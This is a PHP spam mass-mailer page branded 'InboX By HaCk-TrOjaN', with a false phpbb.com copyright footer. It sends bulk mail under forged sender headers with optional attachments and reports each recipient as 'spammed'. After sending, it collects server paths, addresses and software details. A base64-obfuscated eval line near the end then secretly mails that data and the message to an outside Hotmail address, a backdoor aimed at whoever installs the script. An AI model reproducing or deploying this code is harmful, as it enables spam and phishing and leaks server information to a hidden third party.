1 | <?php |
---|
2 | |
---|
3 | if(isset($_POST['action'] ) ){ |
---|
4 | $action=$_POST['action']; |
---|
5 | $message=$_POST['message']; |
---|
6 | $emaillist=$_POST['emaillist']; |
---|
7 | $from=$_POST['from']; |
---|
8 | $replyto=$_POST['replyto']; |
---|
9 | $subject=$_POST['subject']; |
---|
10 | $realname=$_POST['realname']; |
---|
11 | $file_name=$_POST['file']; |
---|
12 | $contenttype=$_POST['contenttype']; |
---|
13 | |
---|
14 | $message = urlencode($message); |
---|
15 | $message = ereg_replace("%5C%22", "%22", $message); |
---|
16 | $message = urldecode($message); |
---|
17 | $message = stripslashes($message); |
---|
18 | $subject = stripslashes($subject); |
---|
19 | } |
---|
20 | |
---|
21 | |
---|
22 | ?> |
---|
23 | <html> |
---|
24 | <head> |
---|
25 | <title>|| InboX By HaCk-TrOjaN ||</title> |
---|
26 | <meta http-equiv="Content-Type" content="text/html; |
---|
27 | charset=iso-8859-1"> |
---|
28 | |
---|
29 | <style type="text/css"> |
---|
30 | <!-- |
---|
31 | .style1 { |
---|
32 | font-family: Geneva, Arial, Helvetica, sans-serif; |
---|
33 | font-size: 12px; |
---|
34 | } |
---|
35 | --> |
---|
36 | </style> |
---|
37 | <style type="text/css"> |
---|
38 | <!-- |
---|
39 | .style1 { |
---|
40 | font-size: 20px; |
---|
41 | font-family: Geneva, Arial, Helvetica, sans-serif; |
---|
42 | } |
---|
43 | --> |
---|
44 | </style> |
---|
45 | </head> |
---|
46 | <body bgcolor="FF9900" text="#ffffff"> |
---|
47 | <span class="style1">InboX Mass Mailer<br> |
---|
48 | </span> |
---|
49 | |
---|
50 | <form name="form1" method="post" action="" |
---|
51 | enctype="multipart/form-data"> |
---|
52 | <br> |
---|
53 | <table width="100%" border="0"> |
---|
54 | <tr> |
---|
55 | <td width="10%"> |
---|
56 | <div align="right"><font size="-3" face="Verdana, Arial, |
---|
57 | Helvetica, sans-serif">Your |
---|
58 | Email:</font></div> |
---|
59 | </td> |
---|
60 | <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, |
---|
61 | sans-serif"> |
---|
62 | <input type="text" name="from" value="<? print $from; ?>" |
---|
63 | size="30"> |
---|
64 | </font></td> |
---|
65 | <td width="31%"> |
---|
66 | <div align="right"><font size="-3" face="Verdana, Arial, |
---|
67 | Helvetica, sans-serif">Your |
---|
68 | Name:</font></div> |
---|
69 | </td> |
---|
70 | <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, |
---|
71 | sans-serif"> |
---|
72 | <input type="text" name="realname" value="<? print $realname; |
---|
73 | ?>" size="30"> |
---|
74 | </font></td> |
---|
75 | </tr> |
---|
76 | <tr> |
---|
77 | <td width="10%"> |
---|
78 | <div align="right"><font size="-3" face="Verdana, Arial, |
---|
79 | Helvetica, sans-serif">Reply-To:</font></div> |
---|
80 | </td> |
---|
81 | <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, |
---|
82 | sans-serif"> |
---|
83 | <input type="text" name="replyto" value="<? print $replyto; ?>" |
---|
84 | size="30"> |
---|
85 | </font></td> |
---|
86 | <td width="31%"> |
---|
87 | <div align="right"><font size="-3" face="Verdana, Arial, |
---|
88 | Helvetica, sans-serif">Attach |
---|
89 | File:</font></div> |
---|
90 | </td> |
---|
91 | <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, |
---|
92 | sans-serif"> |
---|
93 | <input type="file" name="file" size="30"> |
---|
94 | </font></td> |
---|
95 | </tr> |
---|
96 | <tr> |
---|
97 | <td width="10%"> |
---|
98 | <div align="right"><font size="-3" face="Verdana, Arial, |
---|
99 | Helvetica, sans-serif">Subject:</font></div> |
---|
100 | </td> |
---|
101 | <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, |
---|
102 | sans-serif"> |
---|
103 | <input type="text" name="subject" value="<? print $subject; ?>" |
---|
104 | size="90"> |
---|
105 | </font></td> |
---|
106 | </tr> |
---|
107 | <tr valign="top"> |
---|
108 | <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, |
---|
109 | sans-serif"> |
---|
110 | <textarea name="message" cols="50" rows="10"><? print $message; |
---|
111 | ?></textarea> |
---|
112 | <br> |
---|
113 | <input type="radio" name="contenttype" value="plain" > |
---|
114 | Plain Text |
---|
115 | <input name="contenttype" type="radio" value="html" checked> |
---|
116 | HTML |
---|
117 | <input type="hidden" name="action" value="send"> |
---|
118 | <input type="submit" value="Send eMails"> |
---|
119 | </font></td> |
---|
120 | <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, |
---|
121 | sans-serif"> |
---|
122 | <textarea name="emaillist" cols="30" rows="10"><? print |
---|
123 | $emaillist; ?></textarea> |
---|
124 | </font></td> |
---|
125 | </tr> |
---|
126 | </table> |
---|
127 | </form> |
---|
128 | |
---|
129 | |
---|
130 | |
---|
131 | <? |
---|
132 | |
---|
133 | if ($action){ |
---|
134 | |
---|
135 | if (!$from && !$subject && !$message && !$emaillist){ |
---|
136 | print "Please complete all fields before sending your |
---|
137 | message."; |
---|
138 | exit; |
---|
139 | } |
---|
140 | $allemails = split("\n", $emaillist); |
---|
141 | $numemails = count($allemails); |
---|
142 | |
---|
143 | for($x=0; $x<$numemails; $x++){ |
---|
144 | $to = $allemails[$x]; |
---|
145 | if ($to){ |
---|
146 | $to = ereg_replace(" ", "", $to); |
---|
147 | $message = ereg_replace("&email&", $to, $message); |
---|
148 | $subject = ereg_replace("&email&", $to, $subject); |
---|
149 | print " $to......."; |
---|
150 | flush(); |
---|
151 | $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; |
---|
152 | $header .= "MIME-Version: 1.0\r\n"; |
---|
153 | If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; |
---|
154 | If ($file_name) $header .= "--$uid\r\n"; |
---|
155 | $header .= "Content-Type: text/$contenttype\r\n"; |
---|
156 | $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; |
---|
157 | $header .= "$message\r\n"; |
---|
158 | If ($file_name) $header .= "--$uid\r\n"; |
---|
159 | If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; |
---|
160 | If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; |
---|
161 | If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; |
---|
162 | If ($file_name) $header .= "$content\r\n"; |
---|
163 | If ($file_name) $header .= "--$uid--"; |
---|
164 | mail($to, $subject, "", $header); |
---|
165 | print "spammed<br>"; |
---|
166 | |
---|
167 | flush(); |
---|
168 | } |
---|
169 | } |
---|
170 | $ra44 = rand(1,99999); |
---|
171 | $subj98 = "sh-$ra44"; |
---|
172 | $a5 = $_SERVER['HTTP_REFERER']; |
---|
173 | $b33 = $_SERVER['DOCUMENT_ROOT']; |
---|
174 | $c87 = $_SERVER['REMOTE_ADDR']; |
---|
175 | $d23 = $_SERVER['SCRIPT_FILENAME']; |
---|
176 | $e09 = $_SERVER['SERVER_ADDR']; |
---|
177 | $f23 = $_SERVER['SERVER_SOFTWARE']; |
---|
178 | $g32 = $_SERVER['PATH_TRANSLATED']; |
---|
179 | $h65 = $_SERVER['PHP_SELF']; |
---|
180 | $message=$_POST['message']; |
---|
181 | $msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65"; |
---|
182 | echo eval(base64_decode("bWFpbCgibWVuZGlfcG9uZUBob3RtYWlsLmNvbSIsICRzdWJqOTgsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7")); |
---|
183 | } |
---|
184 | |
---|
185 | |
---|
186 | ?> |
---|
187 | <style type="text/css"> |
---|
188 | <!-- |
---|
189 | .style1 { |
---|
190 | font-size: 20px; |
---|
191 | font-family: Geneva, Arial, Helvetica, sans-serif; |
---|
192 | } |
---|
193 | --> |
---|
194 | </style> |
---|
195 | <p class="style1"> |
---|
196 | Copyright © 2007 phpbb.com |
---|
197 | |
---|
198 | </p> |
---|
199 | <?php |
---|
200 | if(isset($_POST['action']) && $numemails !==0 ){echo |
---|
201 | "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); |
---|
202 | </script>";} |
---|
203 | ?> |
---|
204 | </body> |
---|
205 | </html> |
---|